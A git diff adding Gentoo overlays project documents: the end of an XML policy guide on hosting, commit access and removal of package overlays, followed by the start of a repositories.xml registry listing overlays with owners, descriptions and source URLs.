+to publish their Gentoo package overlays in one location, where it's easy for
+devs and non-devs alike to collaborate.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Types Of Overlay</title>
+<section>
+<body>
+<p>
+overlays.g.o hosts two types of overlay:
+</p>
+<ul>
+  <li>overlays for Gentoo project teams</li>
+  <li>overlays for individual Gentoo developers</li>
+  <li>overlays for Gentoo summer of code projects</li>
+  <li>overlays for other Gentoo-specific projects that are external</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Project Overlays</title>
+<body>
+<p>
+"Project overlays" are overlays owned by recognised Gentoo project teams.
+Such teams are required to meet the definition of a project that you can find
+in our metastructure document.
+</p>
+<p>
+"Project overlays" will have the same name as the Gentoo project team.  Each
+project is only allowed a single overlay.
+</p>
+<p>
+As far as this policy is concerned, project overlays are owned by the elected
+lead(s) of the project.
+</p>
+</body>
+</section>
+
+<section>
+<title>Developer Overlays</title>
+<body>
+<p>
+"Developer overlays" are overlays owned by individual Gentoo developers.
+These are the developers who have successfully taken the Gentoo developer
+quizzes, and who have been given commit access to the main Gentoo package
+tree.
+</p>
+<p>
+Each "developer overlay" will have the same name as the developer who owns
+the overlay.  Each developer is only allowed a single overlay. 
+</p>
+<p>
+As far as this policy is concerned, developer overlays are owned by the
+individual Gentoo developer who asked for the overlay to be hosted.
+</p>
+</body>
+</section>
+
+<section>
+<title>Summer of Code Overlays</title>
+<body>
+<p>
+"Summer of Code overlays" are overlays that were created for the express
+purpose of hosting the development of a Google Summer of Code (SoC) project for
+Gentoo.
+</p>
+<p>
+Each "SoC overlay" will be named for the SoC project. Multiple overlays may
+exist if required by the project.
+</p>
+<p>
+As far as this policy is concerned, SoC overlays are owned by the SoC student.
+</p>
+</body>
+</section>
+
+<section>
+<title>External Gentoo-specific overlays</title>
+<body>
+<p>
+TODO
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Responsibilities</title>
+<section>
+<body>
+<ol>
+  <li>Infra are responsible for the platform (hardware + o/s) that overlays.g.o is hosted on.</li>
+  <li>The overlays project team is responsible for administering the overlays.g.o service, including responsibility for the software used to deliver the service (e.g. svn, trac, git, gitweb).</li>
+  <li>Overlay owners are responsible for the contents of their overlays, and for the conduct of anyone who has commit access to their overlays.</li>
+  <li>Any individual committing to an overlay is responsible for his/her own actions.</li>
+</ol>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creating Overlays</title>
+<section>
+<body>
+<p>
+Overlays are created at the request of whoever will be the owner of the
+overlay.
+</p>
+<p>Overlays are optional; no Gentoo developer or project team is required to setup an overlay.
+</p>
+<p>
+Gentoo developers are free to host their overlays somewhere else.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Commit Access To Overlays</title>
+<section>
+<body>
+<p>
+To be clear:
+</p>
+<ul>
+  <li>A "developer" is someone who has commit access to the main Gentoo package tree.</li>
+  <li>A non-developer is anyone who doesn't have commit access to the main Gentoo package tree.  That includes other members of Gentoo staff.</li>
+</ul>
+
+<p>
+Project overlays:
+</p>
+<ul>
+  <li>Any developer listed on a team's project page can have commit access to that team's overlay(s).  Just ask the overlays admin team to sort you out with access.</li>
+  <li>Any dev not listed on a team's project page can have commit access, with the agreement of a member of the project team.</li>
+  <li>Any non-dev can have commit access to a team's overlay(s).  The request for access has to come from the owner of the overlay.</li>
+</ul>
+
+<p>
+Developer overlays:
+</p>
+<ul>
+  <li>Any Gentoo dev can ask for commit access, with the agreement of the overlay's owner.</li>
+  <li>Any non-dev can have commit access to a developer's overlay.  The request for access has to come from the owner of the overlay.</li>
+</ul>
+
+<p>
+SoC overlays:
+</p>
+<ul>
+  <li>The SoC student mentor and student will be provided with the overlay.</li>
+  <li>Any non-dev can have commit access to a SoC's overlay. The request for access must come from either the SoC student or his mentor.</li>
+</ul>
+
+<p>
+External overlays:
+</p>
+<ul>
+  <li>TODO</li>
+</ul>
+
+<p>Common Requirements For Non-Devs</p>
+<ul>
+  <li>The non-dev is required to have registered their nick on Freenode IRC first, and must provide a valid email address for our records.</li>
+  <li>If you're a non-dev, please don't ask the overlays team directly for access, as refusal often offends.</li>
+</ul>
+<note>
+With trac + svn, it's possible to give commit access separately to trac (ie, the wiki), and svn.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>General Rules For Overlays</title>
+<section>
+<body>
+<p>
+We're deliberately trying to keep the rules on overlays to a minimum.  Please,
+don't abuse the service, and force us to add more rules :(
+</p>
+</body>
+</section>
+
+<section>
+<title>What You Can And Cannot Store On overlays.g.o</title>
+<body>
+<p>
+overlays.g.o is for hosting package trees, their patchsets, any docs, and any downloadable tarballs that have nowhere else to be hosted.  
+</p>
+<p>
+TODO: Note that $UPSTREAM is allowed for Gentoo-specific/related.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays Are Public</title>
+<body>
+<p>
+There are no "secret" overlays.
+</p>
+<p>
+All overlays are listed on the frontpage of overlays.g.o, and anyone is free to download the contents of an overlay.
+</p>
+<p>
+If you need a secret overlay, we're not the service for you.
+</p>
+</body>
+</section>
+
+<section>
+<title>Bug Tracking</title>
+<body>
+<p>
+bugs.g.o is the OneTrueBugTrackingSystem(tm), even for overlays.
+</p>
+</body>
+</section>
+
+<section>
+<title>Moving Contributions From Overlays To The Portage Tree</title>
+<body>
+<p>
+Don't set up anything to automatically commit the contents of an overlay to the main Gentoo package tree.  Ever.
+</p>
+<p>
+Any code you take from an overlay and commit to the main Gentoo package tree needs to be thoroughly reviewed first.  As the person committing the code to the main tree, it's <e>your</e> responsibility to ensure that the code meets the required standards.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Administration Of Overlays</title>
+<section>
+<body>
+<p>
+Only the overlays.g.o administration team (listed on the overlays project
+page) have shell access into the overlays.g.o box.  At the moment, account
+management (including resetting passwords) has to be done through the overlays
+administration team.
+</p>
+<p>
+If you need anything doing to your overlay (adding/removing a user f.ex),
+please ask in #gentoo-overlays, and someone will help you as soon as possible.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Removal Of Overlays</title>
+<section>
+<body>
+<p>
+Overlays can be removed at the discretion of the overlays administration team.
+Except for exceptional circumstances, we'll only remove overlays for the
+following reasons:
+</p>
+<ul>
+<li>Project overlays will be removed if the project closes down.</li>
+<li>Developer overlays will be removed when its owner retires.</li>
+</ul>
+
+<p>
+Exceptional circumstances may include:
+</p>
+<ul>
+<li>Complaints from other developers about the contents of an overlay causing problems for packages in the main tree.</li>
+<li>Complaints from other developers about the contents of an overlay creating a security risk to our users.</li>
+</ul>
+<p>
+All exceptional circumstances will be discussed on gentoo-dev before action is
+taken.
+</p>
+<impo>
+Overlays are places where experimental changes can be made and tested.  Please make sure you understand why things are the way they are in an overlay before you make a complaint about what's going on!
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Restrictions On New Software</title>
+<section>
+<body>
+<p>
+We're always willing to listen to requests for different software we could
+offer as part of the service.  Please bear in mind that we need to keep the
+amount of software offered to a minimum, to reduce the workload on the overlays
+administration team.
+</p>
+<p>
+Any new software added to the service will have to meet the following 
+requirements *as a minimum*.  Please don't ask for a piece of software unless 
+you've checked and made sure it meets these requirements.
+</p>
+
+<ul>
+<li>There must be a working package for the software in Portage.</li>
+<li>The package must have an active maintainer.</li>
+<li>The package must have a "credible" security history.  In particular, packages that need regular updating to fix security holes are likely to be rejected.</li>
+<li>If the package provides a bug-tracking system, it must be possible to disable the bug-tracking system.</li>
+</ul>
+
+<p>
+The only access to overlays.g.o is via these two mechanisms:
+</p>
+<ol>
+<li>HTTP/HTTPS and Apache</li>
+<li>SSH to Gitosis for Git overlays</li>
+</ol>
+<p>
+The security mechanism for overlays.g.o is via HTTP basic auth, over SSL.  We use both htpasswd and htgroup files to manage who can commit where.
+</p>
+<p>A package can have finer-grained control via its own security mechanisms (e.g. trac's permissions list), but the package must be compatible with these access and security restrictions.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errors And Omissions</title>
+<section>
+<body>
+<p>
+If you find a fault with this policy, please file a bug on bugs.g.o, and
+assign it to overlays@gentoo.org.
+</p>
+
+<p>
+All policy changes will first be posted to gentoo-dev for discussion.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/overlays/repositories.xml b/xml/htdocs/proj/en/overlays/repositories.xml
new file mode 100644
index 00000000..4eb8eee1
--- /dev/null
+++ b/xml/htdocs/proj/en/overlays/repositories.xml
@@ -0,0 +1,2828 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/overlays/repositories.xml,v 1.106 2010/08/23 17:24:03 sping Exp $ -->
+<?xml-stylesheet href="/xsl/repositories.xsl" type="text/xsl"?>
+<!DOCTYPE repositories SYSTEM "/dtd/repositories.dtd">
+<repositories version="1.0">
+<!-- TEMPLATE; duplicate and fill with care. /////////////////////
+//////////////////////////////////////////////////////////////////
+//////////////////////////////////////////////////////////////////
+  <repo quality="experimental" status="unofficial">
+    <name>XXXXXXXXXXXXXX</name>
+    <description lang="en">XXXXXXXXXXX</description>
+    <homepage>XXXXXXXXXXXXXX</homepage>
+    <owner type="person">
+      <email>XXXXXXXXXX</email>
+      <name>XXXXXXXXXX</name>
+    </owner>
+    <source type="git">XXXXXXXXXXXX</source>
+    <feed>XXXXXXXXXXXXXXXXXXXXXXXXX</feed>
+  </repo>
+//////////////////////////////////////////////////////////////////
+//////////////////////////////////////////////////////////////////
+////////////////////////////////////////////////////////////// -->
+  <repo quality="experimental" status="unofficial">
+    <name>aidecoe</name>
+    <description>aidecoe's experimental overlay</description>
+    <homepage>http://github.com/aidecoe/aidecoe-overlay/tree/master</homepage>
+    <owner>
+      <email>aidecoe@aidecoe.name</email>
+      <name>Amadeusz Żołnowski</name>
+    </owner>
+    <source type="git">git://github.com/aidecoe/aidecoe-overlay.git</source>
+    <feed>http://github.com/feeds/aidecoe/commits/aidecoe-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>akoya</name>
+    <description>Akoya overlay</description>
+    <homepage>https://trac.poildetroll.net/trac/akoya</homepage>
+    <owner>
+      <email>geekounet@poildetroll.net</email>
+    </owner>
+    <source type="mercurial">https://hg.poildetroll.net/hg/gentoo/overlay</source>
+    <feed>https://hg.poildetroll.net/gentoo/overlay/atom-log</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>alexcepoi</name>
+    <description lang="en">Personal User Overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/alexcepoi.git;a=summary</homepage>
+    <owner type="person">
+      <email>alex.cepoi@gmail.com</email>
+      <name>Alexandru Cepoi</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/alexcepoi.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/alexcepoi.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/alexcepoi.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/alexcepoi.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/alexcepoi.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>alexxy</name>
+    <description>Some random work in progress stuff from alexxy</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/alexxy.git</homepage>
+    <owner>
+      <email>alexxy@gentoo.org</email>
+      <name>Alexey Shvetsov</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/alexxy.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/alexxy.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/alexxy.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/alexxy.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/alexxy.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>amielke-overlay</name>
+    <description>Overlay with focus on VDR and software that is not in Portage</description>
+    <homepage>http://amielke.de/</homepage>
+    <owner>
+      <email>overlay@amielke.de</email>
+      <name>Andreas Mielke</name>
+    </owner>
+    <source type="git">git://github.com/amielke/amielke-overlay.git</source>
+    <feed>http://github.com/feeds/amielke/commits/amielke-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>anarchy</name>
+    <description>Testing/Bug fixes, new ebuilds</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/anarchy.git;a=summary</homepage>
+    <owner>
+      <email>anarchy@gentoo.org</email>
+      <name>Jory Pratt</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/anarchy</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/anarchy.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/anarchy.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/anarchy.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/anarchy.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>and3k-sunrise</name>
+    <description>and3ks unstable ebuilds</description>
+    <homepage>http://bitbucket.org/and3k/and3k-sunrise-overlay</homepage>
+    <owner type="person">
+      <email>post@belahausmann.name</email>
+      <name>Bela Hausmann</name>
+    </owner>
+    <source type="mercurial">http://bitbucket.org/and3k/and3k-sunrise-overlay</source>
+    <source type="mercurial">ssh://hg@bitbucket.org/and3k/and3k-sunrise-overlay</source>
+    <feed>http://bitbucket.org/and3k/and3k-sunrise-overlay/atom</feed>
+    <feed>http://bitbucket.org/and3k/and3k-sunrise-overlay/rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>arcon</name>
+    <description>Arcon Overlay!</description>
+    <homepage>http://code.google.com/p/arcon/</homepage>
+    <owner>
+      <email>non7top@gmail.com</email>
+    </owner>
+    <source type="mercurial">https://arcon.googlecode.com/hg/</source>
+    <feed>http://code.google.com/feeds/p/arcon/hgchanges/basic</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>armagetron</name>
+    <description>3D light cycles, like the movie TRON</description>
+    <homepage>http://armagetronad.net</homepage>
+    <owner>
+      <email>luke_armagetron@dashjr.org</email>
+    </owner>
+    <source type="svn">https://armagetronad.svn.sourceforge.net/svnroot/armagetronad/armagetronad/trunk/build/gentoo/overlay</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>aross</name>
+    <description>Personal scratch space.</description>
+    <homepage>http://overlays.gentoo.org/dev/aross</homepage>
+    <owner>
+      <email>aross@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/aross</source>
+    <feed>http://overlays.gentoo.org/dev/aross/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>bangert</name>
+    <description>Some ebuilds not yet ready for mainstream portage from Thilo
+    Bangert [bangert@gentoo.org].</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>bangert@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/bangert/ebuilds</source>
+    <feed>http://overlays.gentoo.org/dev/bangert/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>bazaar</name>
+    <description>A collection of Bazaar-related ebuilds, including release
+    candidates of Bazaar.</description>
+    <homepage>https://launchpad.net/bzr-gentoo-overlay/</homepage>
+    <owner>
+      <email>malept@malept.com</email>
+      <name>Mark Lee</name>
+    </owner>
+    <source type="bzr">lp:bzr-gentoo-overlay</source>
+    <feed>http://bazaar.launchpad.net/~serkan-kaba/serkan-overlay/mainline/atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>belak</name>
+    <description>belak's gentoo overlay for testing</description>
+    <homepage>http://github.com/belak/gentoo.overlay</homepage>
+    <owner>
+      <email>vahki.ttc@gmail.com</email>
+      <name>belak</name>
+    </owner>
+    <source type="mercurial">http://bitbucket.org/belak/belak.gentoo</source>
+    <source type="mercurial">ssh://hg@bitbucket.org/belak/belak.gentoo</source>
+    <feed>http://bitbucket.org/belak/belak.gentoo/atom/</feed>
+    <feed>http://bitbucket.org/belak/belak.gentoo/rss/</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>benf</name>
+    <description lang="en">ben's overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/benf.git;a=summary</homepage>
+    <owner type="person">
+      <email>benjaminfranzke@gmail.com</email>
+      <name>Benjamin Franzke</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/benf.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/benf.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/benf.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/benf.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/benf.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>berkano</name>
+    <description>Berkano overlay provides an overlay for Gentoo Linux with
+    ebuilds of bleeding edge software (such as live subversion builds) and
+    other handy tools that are missing from the official portage tree. Areas of
+    interest include multimedia and system administration.</description>
+    <homepage>http://svn.liveforge.org/berkano/trunk</homepage>
+    <owner>
+      <email>yngwin@gmail.com</email>
+    </owner>
+    <source type="svn">http://svn.liveforge.org/berkano/trunk</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>betagarden</name>
+    <description lang="en">Joint beta-quality overlay effort to reduce overlay scatter. Any dev is welcome to join.</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/betagarden.git;a=summary</homepage>
+    <owner type="project">
+      <email>betagarden@gentoo.org</email>
+      <name>Team Betagarden</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/betagarden.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/betagarden.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/betagarden.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/betagarden.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/betagarden.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>betelgeuse</name>
+    <description>Betelgeuse's developer overlay</description>
+    <homepage>https://overlays.gentoo.org/dev/betelgeuse</homepage>
+    <owner>
+      <email>betelgeuse@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/betelgeuse</source>
+    <feed>http://overlays.gentoo.org/dev/betelgeuse/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>bibletime</name>
+    <description lang="en">BibleTime overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/bibletime.git;a=summary</homepage>
+    <owner type="person">
+      <email>ristioja@gmail.com</email>
+      <name>Jaak Ristioja</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/bibletime.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/bibletime.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/bibletime.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/bibletime.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/bibletime.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>blueness</name>
+    <description>Developer Overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/blueness.git;a=summary</homepage>
+    <owner>
+      <email>blueness@gentoo.org</email>
+      <name>Anthony G. Basile</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/blueness</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/blueness.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/blueness.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/blueness.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/blueness.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>calculate</name>
+    <description>Calculate Overlay</description>
+    <homepage>http://calculate-linux.org</homepage>
+    <owner>
+      <email>support@calculate.ru</email>
+    </owner>
+    <source type="git">git://git.calculate.ru/dev/overlay.git</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>cell</name>
+    <description>Support for Cell architecture, including IBM blade and Sony
+    Playstation 3</description>
+    <homepage>http://overlays.gentoo.org/proj/cell</homepage>
+    <owner type="project">
+      <email>lu_zero@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/cell</source>
+    <feed>http://overlays.gentoo.org/proj/cell/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>centerim</name>
+    <description>Latest tarballs from the CenterIM Mob-branch and a live ebuild.</description>
+    <homepage>http://github.com/transacid/CenterIM-overlay</homepage>
+    <owner>
+      <email>transacid@centerim.org</email>
+      <name>Boris "transacid" Petersen</name>
+    </owner>
+    <source type="git">git://github.com/transacid/CenterIM-overlay.git</source>
+    <source type="git">http://github.com/transacid/CenterIM-overlay.git</source>
+    <feed>http://github.com/feeds/transacid/commits/CenterIM-overlay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>chtekk-apps</name>
+    <description>Overlay for various applications I use myself.</description>
+    <homepage>http://projects.longitekk.com:8000/Projects</homepage>
+    <owner>
+      <email>chtekk@longitekk.com</email>
+    </owner>
+    <source type="svn">svn://projects.longitekk.com/projects/gentoo-ebuilds</source>
+    <feed>http://projects.longitekk.com:8000/Projects/timeline?ticket=on&amp;changeset=on&amp;milestone=on&amp;wiki=on&amp;max=50&amp;daysback=90&amp;format=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>chutzpah</name>
+    <description>Random stuff I am working on which isn't ready for the tree for some reason</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=dev/chutzpah.git;a=summary</homepage>
+    <owner>
+      <email>chutzpah@gentoo.org</email>
+      <name>Patrick McLean</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/chutzpah</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/chutzpah.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/chutzpah.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/chutzpah.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/chutzpah.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>crg</name>
+    <description>CRG-Overlay for Gentoo Linux</description>
+    <homepage>http://wiki.cregion.ru/moin.cgi/CRG_Overlay</homepage>
+    <owner>
+      <email>johnrdoe63@cregion.ru</email>
+    </owner>
+    <source type="rsync">rsync://rsync.cregion.ru/crg-overlay</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>chromiumos</name>
+    <description>ChromiumOS overlay</description>
+    <homepage>http://git.chromium.org/cgi-bin/gitweb.cgi?p=chromiumos-overlay.git;a=summary</homepage>
+    <owner>
+      <email>anush@chromium.org</email><!-- ELSE chromium-os-dev@chromium.org ? -->
+      <name>Anush Elangovan</name>
+    </owner>
+    <source type="git">http://git.chromium.org/git/chromiumos-overlay</source>
+    <feed>http://git.chromium.org/cgi-bin/gitweb.cgi?p=chromiumos-overlay.git;a=atom</feed>
+    <feed>http://git.chromium.org/cgi-bin/gitweb.cgi?p=chromiumos-overlay.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>d</name>
+    <description>A collection of ebuilds related to the D programming
+    language.</description>
+    <homepage>http://code.assembla.com/d-overlay/subversion/nodes</homepage>
+    <owner>
+      <email>alvaro.castro.castilla@gmail.com</email>
+    </owner>
+    <source type="svn">http://subversion.assembla.com/svn/d-overlay</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>dagger</name>
+    <description>Dagger developer overlay</description>
+    <homepage>
+    http://git.overlays.gentoo.org/gitweb/?p=dev/dagger.git;a=summary</homepage>
+    <owner>
+      <email>dagger@gentoo.org</email>
+      <name>Robert Piasek</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/dagger</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/dagger.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/dagger.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/dagger.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/dagger.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>dberkholz</name>
+    <description>Donnie Berkholz's private developer overlay</description>
+    <homepage>http://dev.gentoo.org/~dberkholz/overlay/</homepage>
+    <owner>
+      <email>dberkholz@gentoo.org</email>
+      <name>Donnie Berkholz</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/dberkholz</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/dberkholz.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/dberkholz.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/dberkholz.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/dberkholz.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>deathwing00</name>
+    <description>Experimental ebuilds from the private overlay of Ioannis
+    Aslanidis [deathwing00@gentoo.org].</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>deathwing00@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/deathwing00</source>
+    <feed>http://overlays.gentoo.org/dev/deathwing00/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>dertobi123</name>
+    <description>Some ebuilds not yet ready for mainstream portage from Tobias
+    Scherbaum [dertobi123@gentoo.org].</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>dertobi123@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/dertobi123</source>
+    <feed>http://overlays.gentoo.org/dev/dertobi123/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>desktop-effects</name>
+    <description>Experimental overlay for desktop effects
+    packages.</description>
+    <owner>
+      <email>desktop-effects@gentoo.org</email>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/desktop-effects.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/desktop-effects.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>dev-zero</name>
+    <description>Dev-zeros personal developer overlay</description>
+    <homepage>http://dev.gentoo.org/~dev-zero/</homepage>
+    <owner>
+      <email>dev-zero@gentoo.org</email>
+      <name>Tiziano Mueller</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/dev/dev-zero</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/dev/dev-zero.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/dev/dev-zero.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/dev-zero.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=dev/dev-zero.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>devnull</name>
+    <description>Various ebuilds, most of them are bleeding edge scm versions,
+    the others have not found their way into portage yet.</description>
+    <homepage>http://devnull.core.ws/EbuildRepository/</homepage>
+    <owner>
+      <email>nico@core.ws</email>
+    </owner>
+    <source type="mercurial">http://hg.core.ws/devnull</source>
+    <feed>http://hg.core.ws/devnull/atom-log</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>dilfridge</name>
+    <description lang="en">Dilfridge overlay: experimental ebuilds and lab software</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/dilfridge.git;a=summary</homepage>
+    <owner type="person">
+      <email>mail@akhuettel.de</email>
+      <name>Andreas K. Huettel (dilfridge)</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/dilfridge.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/dilfridge.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/dilfridge.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/dilfridge.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/dilfridge.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>dirtyepic</name>
+    <description>Various work-in-progress stuff including GCC-svn and
+    wxGTK.</description>
+    <homepage>http://overlays.gentoo.org/dev/dirtyepic</homepage>
+    <owner>
+      <email>dirtyepic@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/dirtyepic</source>
+    <feed>http://overlays.gentoo.org/dev/dirtyepic/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>dotnet</name>
+    <description>Experimental overlay for .NET packages.</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/dotnet.git;a=summary</homepage>
+    <owner>
+      <email>dotnet@gentoo.org</email>
+      <name>Peter Alfredsen</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/dotnet.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/dotnet.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/dotnet.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/dotnet.git;a=atom</feed>
